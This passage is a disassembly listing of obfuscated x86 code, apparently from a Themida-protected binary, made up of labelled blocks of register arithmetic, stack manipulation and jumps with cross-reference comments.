loc_5699B0:				; CODE XREF: sub_56207C+964j
		pop	ecx
		pop	ebp
		sub	[esp+32h+var_30+2], 14BA4EA6h
		sub	[esp+32h+var_30+2], 8B22D02h
		sub	[esp+32h+var_30+2], eax
		add	[esp+32h+var_30+2], 8B22D02h
		push	eax
		mov	eax, 14BA4EA6h
		add	[esp+36h+var_30+2], eax
		pop	eax
		mov	eax, [esp+32h+var_34+2]
		jmp	loc_56A66E
; ---------------------------------------------------------------------------


loc_5699E1:				; CODE XREF: sub_56207C+6C87j
		xchg	edx, esi
		xchg	esi, ebx
		add	ebx, 0E43326Bh
		xor	ebx, 88F8BF8Ch
		sub	edx, 20D185Fh
		sub	edx, ebx
		add	edx, 20D185Fh
		pop	ebx
		jmp	loc_56A5C5
; ---------------------------------------------------------------------------


loc_569A05:				; CODE XREF: sub_56207C+6F8Ej
		push	eax
		mov	eax, 3E217A7Ah
		shl	eax, 8
		jmp	loc_56BB18
; ---------------------------------------------------------------------------


loc_569A13:				; CODE XREF: sub_56207C+6907j
		mov	dh, ah
		jmp	loc_56E556
; ---------------------------------------------------------------------------


loc_569A1A:				; CODE XREF: sub_56207C+8B5j
		add	[esp+34h+var_34], 4
		pop	ebp
		push	edx
		push	ecx
		mov	ecx, 54F52419h
		dec	ecx
		sub	ecx, 668736EBh
		dec	ecx
		inc	ecx
		and	ecx, 455C4434h
		xor	ecx, 56F72F3Ah
		inc	ecx
		and	ecx, 13D93E67h
		shr	ecx, 5
		add	ecx, 0FF6B36B4h
		mov	edx, ecx
		pop	ecx
		add	ebp, edx
		pop	edx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_56A6B2
; ---------------------------------------------------------------------------


loc_569A68:				; CODE XREF: sub_56207C+C6F4j
		xor	ebx, 0BEE4F55Dh
		add	ebp, ebx
		push	[esp+34h+var_34]
		pop	ebx
		add	esp, 4
		jmp	loc_569DF5
; ---------------------------------------------------------------------------


loc_569A7C:				; CODE XREF: sub_56207C+EFC4j
		add	esp, 4
		sub	ebp, eax
		mov	eax, [esp+2Ch+var_2C]
		add	esp, 4
		xor	ebp, [esp+28h+var_28]
		xor	[esp+28h+var_28], ebp
		jmp	loc_562B22
; ---------------------------------------------------------------------------


loc_569A95:				; CODE XREF: sub_56207C-C3Cj
		pop	esp
		add	ebx, 314D13A3h
		jmp	loc_55FE12
; ---------------------------------------------------------------------------


loc_569AA1:				; CODE XREF: sub_56207C+C868j
		mov	eax, 67F36C11h
		or	ecx, eax
		jmp	loc_562475
; ---------------------------------------------------------------------------


loc_569AAD:				; DATA XREF: Themida_:0055E220o
		mov	cx, word ptr [esp+0Ch+var_C]
		push	6EAEh
		mov	[esp+10h+var_10], eax
		sub	esp, 4
		mov	[esp+14h+var_14], esp
		push	ebx
		jmp	loc_561A6E
; ---------------------------------------------------------------------------


loc_569AC5:				; CODE XREF: sub_56207C+3D37j
		mov	ebx, 5FCC2F09h
		jmp	loc_55FCD0
; ---------------------------------------------------------------------------


loc_569ACF:				; CODE XREF: sub_56207C+196Cj
		mov	eax, 3C9931FCh
		sub	ecx, eax
		jmp	loc_563329
; ---------------------------------------------------------------------------


loc_569ADB:				; CODE XREF: sub_56207C+49F1j
		sub	[esp+32h+var_30+2], 29F65CAAh
		mov	ebx, [esp+32h+var_34+2]
		add	esp, 4
		jmp	loc_561C4F
; ---------------------------------------------------------------------------


loc_569AF1:				; CODE XREF: sub_56207C+B19Aj
		push	5995h
		mov	[esp+32h+var_34+2], ebp
		mov	ebp, 64733739h
		or	ecx, ebp
		pop	ebp
		neg	ecx
		jmp	loc_570C6E
; ---------------------------------------------------------------------------


loc_569B08:				; CODE XREF: sub_56207C+3245j
		push	edi
		mov	edi, 7DFC7B08h
		xor	edi, 0A0D8A226h
		add	edx, 68BC67DCh
		add	edx, edi
		sub	edx, 68BC67DCh
		pop	edi
		sub	edx, 53BB09A2h
		add	edx, 4FF2059Dh
		jmp	loc_56022A
; ---------------------------------------------------------------------------


loc_569B34:				; CODE XREF: sub_56207C-2D38j
		add	esi, 121B2931h
		push	[esp+26h+var_28+2]
		pop	eax
		jmp	loc_5657AF
; ---------------------------------------------------------------------------


loc_569B43:				; CODE XREF: sub_56207C+6011j
		push	edi
		jmp	loc_56D876
; ---------------------------------------------------------------------------


loc_569B49:				; CODE XREF: sub_56207C+2BC7j
		mov	eax, 31A229DEh
		shl	eax, 1
		neg	eax
		xor	eax, 6A0D2470h
		shr	eax, 6
		jmp	loc_56BFCC
; ---------------------------------------------------------------------------


loc_569B5F:				; CODE XREF: sub_56207C+966Ej
		mov	ebp, [esp+34h+var_34]
		jmp	loc_56DE47
; ---------------------------------------------------------------------------


loc_569B67:				; CODE XREF: sub_56207C+728Dj
		add	eax, edi
		add	eax, 50B46705h
		mov	edi, [esp+42h+var_44+2]
		push	3851h
		jmp	loc_56CF93
; ---------------------------------------------------------------------------


loc_569B7B:				; CODE XREF: sub_56207C-533j
		push	ebp
		push	eax
		mov	eax, 1A2466B0h
		push	ecx
		mov	ecx, 76FC02FBh
		shr	ecx, 6
		or	ecx, 5EFB3B10h
		jmp	loc_5690C1
; ---------------------------------------------------------------------------


loc_569B96:				; CODE XREF: sub_56207C+2E1Aj
		sub	eax, esi
		add	eax, 171C5606h
		sub	esp, 4
		mov	[esp+16h+var_18+2], ebx
		mov	ebx, 44C6760Fh
		dec	ebx
		jmp	loc_5726EA
; ---------------------------------------------------------------------------


loc_569BAE:				; CODE XREF: sub_56207C+B6j
		sub	edi, esi
		push	eax
		jmp	loc_567BEA
; ---------------------------------------------------------------------------


loc_569BB6:				; CODE XREF: sub_56207C+C580j
		add	eax, 4
		push	esi
		mov	esi, esp
		jmp	loc_564F40
; ---------------------------------------------------------------------------


loc_569BC3:				; CODE XREF: sub_56207C+A423j
		xor	[esp+58h+var_58], esi
		jmp	loc_5695B3
; ---------------------------------------------------------------------------


loc_569BCB:				; CODE XREF: sub_56207C+B67Cj
		pop	ebp
		sub	eax, 6C6670EAh
		jmp	loc_56DCBC
; ---------------------------------------------------------------------------


loc_569BD6:				; CODE XREF: sub_56207C+7745j
		mov	[esp+1Eh+var_20+2], edx
		mov	dl, 0DAh
		sub	bl, dl
		pop	edx
		push	edx
		mov	dh, 72h
		xor	dh, 0A7h
		shl	dh, 5
		xor	dh, 0DCh
		xor	bl, dh
		pop	edx
		jmp	loc_571F60
; ---------------------------------------------------------------------------


loc_569BF2:				; CODE XREF: sub_56207C+E9FCj
		push	edx
		push	edi
		push	72A50C99h
		pop	edi
		add	edi, 8D5AF36Bh
		mov	edx, edi
		mov	edi, [esp+22h+var_24+2]
		add	esp, 4
		jmp	loc_561AEC
; ---------------------------------------------------------------------------


loc_569C0D:				; CODE XREF: sub_56207C+68CFj
		mov	esi, 7B0D18B1h
		push	ebp
		mov	ebp, 0EFA2490Ch
		add	esi, ebp
		jmp	loc_56BE5C
; ---------------------------------------------------------------------------


loc_569C1F:				; CODE XREF: sub_56207C-DD2j
		mov	ecx, esi
		pop	esi
		add	ebp, ecx
		mov	ecx, [esp+0Ch+var_C]
		add	esp, 4
		push	ebp
		push	[esp+0Ch+var_8]
		jmp	loc_56C1E5
; ---------------------------------------------------------------------------


loc_569C37:				; CODE XREF: sub_56207C+8A04j
		dec	edi
		push	esi
		mov	esi, 4E721E32h
		xor	edi, esi
		pop	esi
		jmp	loc_5623FF
; ---------------------------------------------------------------------------


loc_569C46:				; CODE XREF: sub_56207C+99F8j
		and	edx, 2E0E036Ch
		and	edx, 46911718h
		jmp	loc_56D815
; ---------------------------------------------------------------------------


loc_569C57:				; CODE XREF: sub_56207C+D549j
		add	edi, ecx
		push	ecx
		mov	ecx, 29467Eh
		xor	ecx, 4EE028F8h
		sub	edi, ecx
		pop	ecx
		jmp	loc_56CBB7
; ---------------------------------------------------------------------------


loc_569C6D:				; CODE XREF: sub_56207C+1008Dj
		mov	eax, 219351C8h
		dec	eax
		not	eax
		or	eax, offset sub_55656B
		neg	eax
		sub	eax, 2120748Ah
		add	eax, 6E6FC9AFh
		sub	ecx, eax
		jmp	loc_55F769
; ---------------------------------------------------------------------------


loc_569C8D:				; CODE XREF: sub_56207C-1FB3j
		add	esp, 4
		sub	esi, 0FB76DA33h
		jmp	loc_57126A
; ---------------------------------------------------------------------------


loc_569C9E:				; CODE XREF: sub_56207C+10C27j
		add	eax, edx
		pop	edx
		push	5F7h
		mov	[esp+28h+var_28], edx
		mov	edx, 5D510B46h
		shl	edx, 6
		shr	edx, 4
		jmp	loc_55F404
; ---------------------------------------------------------------------------


loc_569CB9:				; CODE XREF: sub_56207C+106D4j
		push	dx
		dec	byte ptr [esp+2Ah+var_2C+3]
		jmp	loc_56177F
; ---------------------------------------------------------------------------


loc_569CC4:				; CODE XREF: sub_56207C+2578j
		mov	ebx, 4
		sub	edi, 47BA3846h
		add	edi, 0FE3BC4h
		add	edi, 4FF148F7h
		sub	edi, 37811F0Dh
		jmp	loc_5706BF
; ---------------------------------------------------------------------------


loc_569CE6:				; CODE XREF: sub_56207C+D140j
		mov	eax, 4BEA4017h
		add	ebx, eax
		jmp	loc_572E0D
; ---------------------------------------------------------------------------


loc_569CF2:				; CODE XREF: sub_56207C+112D0j
		sub	esp, 4
		mov	[esp+4Ch+var_4C], ecx
		mov	cl, dl
		mov	ah, cl
		jmp	loc_568977
; ---------------------------------------------------------------------------


loc_569D04:				; CODE XREF: sub_56207C+F420j
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_56966E
; ---------------------------------------------------------------------------


loc_569D11:				; CODE XREF: sub_56207C-110Bj
		push	eax
		pushf
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_569D18:				; CODE XREF: sub_56207C-39Bj
		mov	edx, 387A1FAFh
		sub	esi, 7609290Ah
		sub	esi, edx
		jmp	loc_56D0E5
; ---------------------------------------------------------------------------


loc_569D2A:				; CODE XREF: sub_56207C+DD19j
		pop	[esp+20h+var_20]
		mov	esp, [esp+1Ch+var_1C]
		push	eax
		mov	eax, 7D2D7CF9h
		add	edx, eax
		pop	eax
		jmp	loc_565755
; ---------------------------------------------------------------------------


loc_569D3E:				; CODE XREF: sub_56207C-310Fj
		push	[esp+28h+var_24]
		pop	eax
		pop	[esp+28h+var_28]
		pop	esp
		mov	[esp+20h+var_20], ebp
		push	0FFFFh
		push	[esp+24h+var_24]
		mov	ebp, [esp+28h+var_28]
		jmp	loc_568B25
; ---------------------------------------------------------------------------


loc_569D5A:				; CODE XREF: sub_56207C+C5F8j
		xor	esi, 0BCA09C4h
		xor	esi, 0B7E49581h
		add	ebx, esi
		jmp	loc_568248
; ---------------------------------------------------------------------------


loc_569D6D:				; CODE XREF: sub_56207C+3934j
		push	eax
		mov	eax, 10546C32h
		xor	esi, eax
		pop	eax
		jmp	loc_56CBE5
; ---------------------------------------------------------------------------


loc_569D7B:				; CODE XREF: sub_56207C+2DF4j
		mov	ebx, esp
		jmp	loc_564CE1
; ---------------------------------------------------------------------------


loc_569D82:				; CODE XREF: sub_56207C+A66Cj
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+1Ah+var_1C+2]
		pop	esp
		mov	[esp+16h+var_18+2], ecx
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		xor	eax, [esp+12h+var_14+2]
		jmp	loc_570BC6
; ---------------------------------------------------------------------------


loc_569DA7:				; CODE XREF: sub_56207C+EAA2j
		push	esi
		mov	esi, 39B14961h
		and	esi, 11FD42E7h
		shr	esi, 6
		sub	esi, 0FFFFFFFFh
		xor	esi, offset word_46C506
		mov	edx, esi
		pop	esi
		push	edx
		mov	edx, 75754C07h
		add	ebx, edx
		jmp	loc_568BD6
; ---------------------------------------------------------------------------


loc_569DCF:				; CODE XREF: sub_56207C-34F5j
		add	[esp+26h+var_24+2], 30F37AA7h
		push	[esp+26h+var_28+2]
		push	[esp+2Ah+var_2C+2]
		jmp	loc_572853
; ---------------------------------------------------------------------------


loc_569DE2:				; CODE XREF: sub_56207C+21FCj
		mov	esi, [esp+1Ch+var_1C]
		add	esp, 4
		jmp	loc_56FD43
; ---------------------------------------------------------------------------


loc_569DED:				; CODE XREF: sub_56207C+F27j
		mov	[esp+18h+var_18], eax
		jmp	loc_567D3B
; ---------------------------------------------------------------------------


loc_569DF5:				; CODE XREF: sub_56207C+79FBj
		sub	ebp, 4
		xchg	ebp, [esp+30h+var_30]
		mov	esp, [esp+30h+var_30]
		mov	[esp+30h+var_30], ebx
		push	ecx
		mov	ecx, 5F6E53C3h
		dec	ecx
		not	ecx
		sub	ecx, 878D5F87h
		mov	ebx, ecx
		jmp	loc_567337
; ---------------------------------------------------------------------------


loc_569E17:				; CODE XREF: sub_56207C+EAAEj
		sub	ebx, ecx
		add	ebx, 5F600D39h
		push	esi
		mov	esi, 6FE571FBh
		sub	ebx, esi
		pop	esi
		jmp	loc_570168
; ---------------------------------------------------------------------------


loc_569E2D:				; CODE XREF: sub_56207C+2564j
		xor	ebx, 62AF7E6Ch
		not	ebx
		shr	ebx, 5
		xor	ebx, 1D2AFCCh
		jmp	loc_55EE05
; ---------------------------------------------------------------------------


loc_569E43:				; CODE XREF: sub_56207C+DB5Ej
		sub	esi, 19C65A9Eh
		sub	esi, 635B6474h
		jmp	loc_56802D
; ---------------------------------------------------------------------------


loc_569E54:				; CODE XREF: sub_56207C+F4FFj
		push	ebp
		jmp	loc_56A891
; ---------------------------------------------------------------------------


loc_569E5A:				; CODE XREF: sub_56207C-AA3j
		mov	ebp, ecx
		pop	ecx
		sub	eax, ebp
		pop	ebp
		add	eax, 74CF458Bh
		jmp	loc_570C2E
; ---------------------------------------------------------------------------


loc_569E6A:				; CODE XREF: sub_56207C+11289j
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ecx
		mov	ecx, 4
		add	eax, 517C5DBCh
		add	eax, ecx
		sub	eax, 517C5DBCh
		pop	ecx
		jmp	loc_56539A
; ---------------------------------------------------------------------------


loc_569E8A:				; CODE XREF: sub_56207C+1D3Fj
		mov	edi, 7A8D61A9h
		dec	edi
		inc	edi
		jmp	loc_5602F3
; ---------------------------------------------------------------------------


loc_569E96:				; CODE XREF: sub_56207C+A1E8j
		push	0
		sub	[esp+38h+var_38], ecx
		pop	ecx
		neg	ecx
		jmp	loc_5717D5
; ---------------------------------------------------------------------------


loc_569EA6:				; CODE XREF: sub_56207C-2D32j
		push	edx
		mov	edx, 4
		jmp	loc_56474D
; ---------------------------------------------------------------------------


loc_569EB1:				; CODE XREF: sub_55EE93+19j
		xor	edx, 45C92C1Eh
		add	ebx, edx
		pop	edx
		jmp	loc_562826
; ---------------------------------------------------------------------------


loc_569EBF:				; CODE XREF: sub_56207C-34E8j
		add	eax, 6C0209EAh
		sub	esi, eax
		pop	eax
		jmp	loc_56FFC7
; ---------------------------------------------------------------------------


loc_569ECC:				; CODE XREF: sub_56207C+695Cj
		add	esp, 4
		sub	edi, 2E5E5C3Bh
		add	edi, ebp
		add	edi, 2E5E5C3Bh
		mov	ebp, [esp+54h+var_54]
		add	esp, 4
		xchg	edi, [esp+50h+var_50]
		mov	esp, [esp+50h+var_50]
		mov	ax, word ptr [esp+50h+var_50]
		sub	esp, 4
		mov	[esp+54h+var_54], esi
		push	esp
		mov	esi, [esp+58h+var_58]
		add	esp, 4
		jmp	loc_55FB58
; ---------------------------------------------------------------------------


loc_569F02:				; CODE XREF: sub_56207C+F535j
		add	[esp+54h+var_50], 789F6E41h
		add	[esp+54h+var_50], eax
		jmp	loc_562D66
; ---------------------------------------------------------------------------


loc_569F13:				; CODE XREF: sub_56207C-333Aj
		xor	ecx, 1DDC3673h
		push	eax
		jmp	loc_565078
; ---------------------------------------------------------------------------


loc_569F1F:				; CODE XREF: sub_56207C+A3A6j
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+1Ah+var_1C+2]
		pop	esp
		mov	[esp+16h+var_18+2], ecx
		sub	esp, 4
		jmp	loc_56F6C9
; ---------------------------------------------------------------------------


loc_569F3B:				; CODE XREF: sub_56207C+53F1j
		pop	ebx
		add	ecx, 6BEB5113h
		add	ecx, edx
		jmp	loc_572834
; ---------------------------------------------------------------------------


loc_569F49:				; CODE XREF: sub_56207C+CAD0j
		pop	ebx
		add	ebp, esi
		pop	esi
		jmp	loc_56801C
; ---------------------------------------------------------------------------


loc_569F52:				; CODE XREF: sub_56207C+597Dj
		add	ebp, ecx
		pop	ecx
		jmp	loc_55FC65
; ---------------------------------------------------------------------------


loc_569F5A:				; CODE XREF: sub_56207C-164Bj
		pop	ebx
		add	ecx, edx
		jmp	loc_5625D4
; ---------------------------------------------------------------------------


loc_569F62:				; CODE XREF: sub_56207C+2902j
		sub	ebx, 4
		xchg	ebx, [esp+34h+var_34]
		pop	esp
		jmp	loc_5709AE
; ---------------------------------------------------------------------------


loc_569F71:				; CODE XREF: sub_56207C+91EFj
		push	ebp
		mov	ebp, 53746EE0h
		sub	eax, ebp
		pop	ebp
		sub	ebp, 2F246CC1h
		add	ebp, eax
		add	ebp, 2F246CC1h
		mov	eax, [esp+30h+var_30]
		add	esp, 4
		sub	ebp, 4
		jmp	loc_55E758
; ---------------------------------------------------------------------------


loc_569F96:				; CODE XREF: sub_56207C-1A9Ej
		mov	[esp+20h+var_20], ebp
		jmp	loc_561553
; ---------------------------------------------------------------------------


loc_569F9E:				; CODE XREF: sub_56207C+1012Fj
		mov	edx, 0BACB7B8Dh
		add	ebp, edx
		pop	edx
		and	eax, ebp
		mov	ebp, [esp+1Ch+var_1C]
		add	esp, 4
		jmp	loc_572C91
; ---------------------------------------------------------------------------


loc_569FB3:				; CODE XREF: sub_56207C-3A08j
		push	[esp+20h+var_1C]
		mov	eax, [esp+24h+var_24]
		add	esp, 4
		pop	[esp+20h+var_20]
		pop	esp
		jmp	loc_564C65
; ---------------------------------------------------------------------------


loc_569FC9:				; CODE XREF: sub_56207C+42BAj
		sub	dl, 0FFh
		xor	dl, 5Eh
		push	ecx
		mov	cl, dl
		jmp	loc_56F312
; ---------------------------------------------------------------------------


loc_569FD7:				; CODE XREF: sub_56207C-3E7j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+30h+var_30]
		pop	esp
		sub	esp, 4
		mov	[esp+30h+var_30], ebp
		jmp	loc_56136B
; ---------------------------------------------------------------------------


loc_569FF1:				; CODE XREF: sub_56207C+84FAj
		add	[esp+30h+var_2C], 5E576245h
		pop	ecx
		pop	ebx
		jmp	loc_560E3D
; ---------------------------------------------------------------------------


loc_56A000:				; CODE XREF: sub_56207C+E22Cj
		shl	edx, 4
		inc	edx
		sub	edx, 3004111Eh
		xor	edx, 4CB668F1h
		sub	edi, 34BE4157h
		add	edi, edx
		add	edi, 34BE4157h
		jmp	loc_566DF1
; ---------------------------------------------------------------------------


loc_56A023:				; CODE XREF: sub_56207C+1509j
		sub	ecx, eax
		pop	eax
		jmp	loc_56B9E6
; ---------------------------------------------------------------------------


loc_56A02B:				; DATA XREF: Themida_:0055E330o
		mov	sp, word ptr [esp+34h+var_34]
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56A034:				; CODE XREF: sub_56207C+F814j
		add	esi, 4
		jmp	loc_5611DA
; ---------------------------------------------------------------------------


loc_56A03C:				; CODE XREF: sub_56207C+10077j
		push	ebp
		mov	ebp, 65CA405Ch
		add	ecx, ebp
		pop	ebp
		push	ebp
		mov	ebp, 4C964572h
		jmp	loc_564487
; ---------------------------------------------------------------------------


loc_56A050:				; CODE XREF: sub_56207C+5955j
		pop	ecx
		mov	ebx, [esp+2Ah+var_2C+2]
		add	esp, 4
		push	227Bh
		mov	[esp+2Ah+var_2C+2], esi
		jmp	loc_56B845
; ---------------------------------------------------------------------------


loc_56A064:				; CODE XREF: sub_56207C+6078j
		add	esp, 4
		add	ebx, 0BFBFFDE2h
		jmp	loc_565F9D
; ---------------------------------------------------------------------------


loc_56A075:				; CODE XREF: sub_56207C+A62Dj
		add	eax, 0FFFFFFFFh
		add	eax, 89C0D842h
		add	ecx, eax
		pop	eax
		pop	eax
		add	ecx, 4
		jmp	loc_55FAE7
; ---------------------------------------------------------------------------


loc_56A08B:				; CODE XREF: sub_56207C+8ECBj
		mov	ecx, 4
		sub	esi, ecx
		mov	ecx, [esp+20h+var_20]
		add	esp, 4
		jmp	loc_56AEE2
; ---------------------------------------------------------------------------


loc_56A0A0:				; CODE XREF: Themida_:0056168Dj
		sub	esp, 4
		mov	[esp+20h+var_20], ecx
		push	esp
		jmp	loc_568CF1
; ---------------------------------------------------------------------------


loc_56A0AC:				; CODE XREF: sub_56207C+AD9Aj
		mov	[esp+24h+var_24], edi
		jmp	loc_562B9F
; ---------------------------------------------------------------------------


loc_56A0B4:				; CODE XREF: sub_56207C+11295j
		pop	edi
		xchg	ecx, [esp+20h+var_20]
		pop	esp
		sar	byte ptr [esp+1Ch+var_1C], cl
		pushf
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56A0C2:				; CODE XREF: sub_56207C+428Ej
		add	edi, 1A05CA04h
		add	edx, edi
		pop	edi
		add	edx, 4
		xchg	edx, [esp+20h+var_20]
		mov	esp, [esp+20h+var_20]
		add	edi, 2E8E2786h
		push	edi
		jmp	loc_568AE1
; ---------------------------------------------------------------------------


loc_56A0E0:				; CODE XREF: sub_56207C-70Fj
		mov	eax, esp
		push	edx
		mov	edx, 4
		push	ecx
		mov	ecx, 554776CFh
		sub	eax, ecx
		pop	ecx
		jmp	loc_5637FD
; ---------------------------------------------------------------------------


loc_56A0F6:				; CODE XREF: sub_56207C+2360j
		mov	ebp, [esp+2Ah+var_2C+2]
		jmp	loc_56522B
; ---------------------------------------------------------------------------


loc_56A0FE:				; CODE XREF: sub_56207C+10FEFj
		add	esp, 4
		push	esi
		mov	esi, 66B216FDh
		jmp	loc_56646B
; ---------------------------------------------------------------------------


loc_56A10F:				; CODE XREF: sub_56207C+55F0j
		not	eax
		xor	eax, 0EF0F1180h
		add	esi, eax
		push	[esp-0Ch+arg_8]
		pop	eax
		add	esp, 4
		xor	esi, [esp-10h+arg_C]
		jmp	loc_5632D5
; ---------------------------------------------------------------------------


loc_56A12A:				; CODE XREF: sub_56207C+88BDj
		mov	eax, [esp-10h+arg_C]
		jmp	loc_55F553
; ---------------------------------------------------------------------------


loc_56A132:				; CODE XREF: sub_56207C+F885j
		mov	ebp, [esp-10h+arg_C]
		add	esp, 4
		xor	esi, [esp-14h+arg_10]
		xor	[esp-14h+arg_10], esi
		xor	esi, [esp-14h+arg_10]
		mov	esp, [esp-14h+arg_10]
		pop	[esp-14h+arg_10]
		mov	esp, [esp-18h+arg_14]
		div	cx
		push	small 70E3h
		mov	word ptr [esp-16h+arg_10+2], dx
		push	ax
		pushf
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56A160:				; CODE XREF: sub_56207C+679j
		pop	esp
		jmp	loc_5631B7
; ---------------------------------------------------------------------------


loc_56A166:				; CODE XREF: sub_56207C+9D82j
		not	esi
		and	esi, 7E150333h
		neg	esi
		jmp	loc_56A5FB
; ---------------------------------------------------------------------------


loc_56A175:				; CODE XREF: sub_56207C+D5A8j
		add	edi, 4
		jmp	loc_56082A
; ---------------------------------------------------------------------------


loc_56A180:				; CODE XREF: sub_56207C-1CB4j
		pop	esi
		jmp	loc_56A73C
; ---------------------------------------------------------------------------


loc_56A186:				; CODE XREF: sub_56207C+CC46j
		mov	edx, 4
		add	ebp, edx
		pop	edx
		xor	ebp, [esp+8+var_8]
		xor	[esp+8+var_8], ebp
		xor	ebp, [esp+8+var_8]
		pop	esp
		add	ebx, 344452DEh
		add	ebx, edi
		push	ecx
		mov	ecx, 344452DEh
		sub	ebx, ecx
		pop	ecx
		mov	edi, [esp+4+var_4]
		add	esp, 4
		sub	ebx, 325B7A64h
		add	ebx, 76E5CD3h
		add	ebx, 683464D8h
		push	edx
		mov	edx, 45E1622Ah
		add	ebx, edx
		pop	edx
		jmp	loc_563AFE
; ---------------------------------------------------------------------------


loc_56A1D2:				; CODE XREF: sub_56207C+9C64j
		pop	eax
		jmp	loc_57235D
; ---------------------------------------------------------------------------


loc_56A1D8:				; CODE XREF: sub_56207C+94Dj
		shl	dl, 1
		push	ecx
		mov	ch, 0FBh
		sub	ch, 7Ah
		add	dl, 0D0h
		sub	dl, ch
		sub	dl, 0D0h
		pop	ecx
		push	16Fh
		mov	[esp+34h+var_34], eax
		sub	esp, 4
		mov	[esp+38h+var_38], ecx
		mov	ch, dl
		mov	ah, ch
		pop	ecx
		mov	ch, ah
		mov	eax, [esp+34h+var_34]
		add	esp, 4
		mov	edx, [esp+30h+var_30]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+34h+var_34]
		pop	esp
		and	al, ch
		pop	ecx
		push	ebx
		jmp	loc_56B7C4
; ---------------------------------------------------------------------------


loc_56A227:				; CODE XREF: sub_56207C+821j
		mov	eax, [esp+1Ch+var_1C]
		add	esp, 4
		pop	ebx
		pop	cx
		sub	dl, 1
		add	dl, 75h
		xor	dl, al
		xor	al, dl
		xor	dl, al
		not	al
		xor	dl, al
		xor	al, dl
		jmp	loc_568DD0
; ---------------------------------------------------------------------------


loc_56A247:				; CODE XREF: sub_56207C+3450j
		sub	edi, 0FFFFFFFFh
		push	152Fh
		mov	[esp+0Eh+var_10+2], edx
		mov	edx, 552B1181h
		dec	edx
		dec	edx
		xor	edx, 552B117Eh
		add	edi, edx
		mov	edx, [esp+0Eh+var_10+2]
		jmp	loc_56AF99
; ---------------------------------------------------------------------------


loc_56A26C:				; CODE XREF: sub_56207C+C321j
		xchg	edx, esi
		push	edi
		push	eax
		mov	eax, 348A64E8h
		xor	eax, 6A705D7Eh
		jmp	loc_5637B1
; ---------------------------------------------------------------------------


loc_56A27F:				; CODE XREF: sub_56207C+3319j
		push	edi
		mov	edi, 56F10BC2h
		jmp	loc_561EBA
; ---------------------------------------------------------------------------


loc_56A28A:				; CODE XREF: sub_56207C+3557j
		push	ecx
		mov	ecx, ebp
		jmp	loc_5629DE
; ---------------------------------------------------------------------------


loc_56A292:				; CODE XREF: sub_56207C+A34j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_56E475
; ---------------------------------------------------------------------------


loc_56A2A1:				; CODE XREF: sub_56207C+F7E2j
		mov	ecx, ebp
		pop	ebp
		jmp	loc_56B730
; ---------------------------------------------------------------------------


loc_56A2A9:				; CODE XREF: sub_56207C+6121j
		mov	ebp, 48106DDEh
		inc	ebp
		xor	ebp, 57575A47h
		jmp	loc_56159C
; ---------------------------------------------------------------------------


loc_56A2BA:				; DATA XREF: Themida_:0055E358o
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	byte ptr [esp+1Ah+var_1C+2], cl
		pushf
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56A2C9:				; CODE XREF: sub_56207C+AA08j
		mov	edx, 24358A2h
		dec	edx
		jmp	loc_563249
; ---------------------------------------------------------------------------


loc_56A2D4:				; CODE XREF: sub_56207C-3C8Bj
		push	ecx
		inc	[esp+8+var_8]
		pop	ecx
		push	esi
		mov	esi, 43B763Ah
		jmp	loc_563F3C
; ---------------------------------------------------------------------------


loc_56A2E4:				; CODE XREF: sub_56207C+71ADj
		push	edi
		mov	edi, 0E6E7EADh
		shr	edi, 8
		shl	edi, 1
		or	edi, 7BDE20D9h
		xor	edi, 0D8A4137h
		add	edi, 0F725D220h
		xor	eax, edi
		pop	edi
		add	ebx, eax
		pop	eax
		jmp	loc_571F6B
; ---------------------------------------------------------------------------


loc_56A30C:				; CODE XREF: sub_56207C+6562j
		add	ebx, 4
		xchg	ebx, [esp+26h+var_28+2]
		pop	esp
		push	ebx
		mov	ebx, 77270AEAh
		xor	esi, ebx
		jmp	loc_570E8B
; ---------------------------------------------------------------------------


loc_56A320:				; CODE XREF: sub_56207C+EDBFj
		pop	eax
		push	ebx
		jmp	loc_56C82B
; ---------------------------------------------------------------------------


loc_56A327:				; CODE XREF: sub_56207C+D1DAj
		shl	edx, 8
		or	edx, 458565BDh
		shr	edx, 2
		sub	edx, 4CA4E65h
		add	edx, 644D2F54h
		add	edx, eax
		sub	edx, 644D2F54h
		mov	eax, [esp+26h+var_28+2]
		add	esp, 4
		push	ecx
		jmp	loc_55ED31
; ---------------------------------------------------------------------------


loc_56A353:				; CODE XREF: sub_56207C+ECBj
		push	ecx
		mov	ecx, 5EA1660Dh
		shl	ecx, 4
		and	ecx, 200C4B33h
		shr	ecx, 4
		or	ecx, 2A922915h
		jmp	loc_55FC58
; ---------------------------------------------------------------------------


loc_56A370:				; CODE XREF: sub_56207C+B0DFj
		push	[esp+20h+var_20]
		pop	ebx
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_56AD4A
; ---------------------------------------------------------------------------


loc_56A385:				; CODE XREF: sub_56207C-2AA1j
		pop	ecx
		sub	eax, 127C011Dh
		jmp	loc_55E7DA
; ---------------------------------------------------------------------------


loc_56A390:				; CODE XREF: sub_56207C+94E4j
		not	ebp
		xchg	ebp, ecx
		dec	ecx
		jmp	loc_568E02
; ---------------------------------------------------------------------------


loc_56A39A:				; CODE XREF: sub_56207C-3139j
		push	ebx
		mov	ebx, 262D5BC9h
		xor	ebx, 6A1D6AD3h
		or	edi, ebx
		pop	ebx
		shr	edi, 6
		jmp	loc_560F89
; ---------------------------------------------------------------------------


loc_56A3B1:				; CODE XREF: sub_56207C+8400j
		pop	ecx
		jmp	loc_571EDF
; ---------------------------------------------------------------------------


loc_56A3B7:				; CODE XREF: sub_56207C+D66Ej
		xor	al, dh
		push	[esp+20h+var_20]
		jmp	loc_56D3D1
; ---------------------------------------------------------------------------


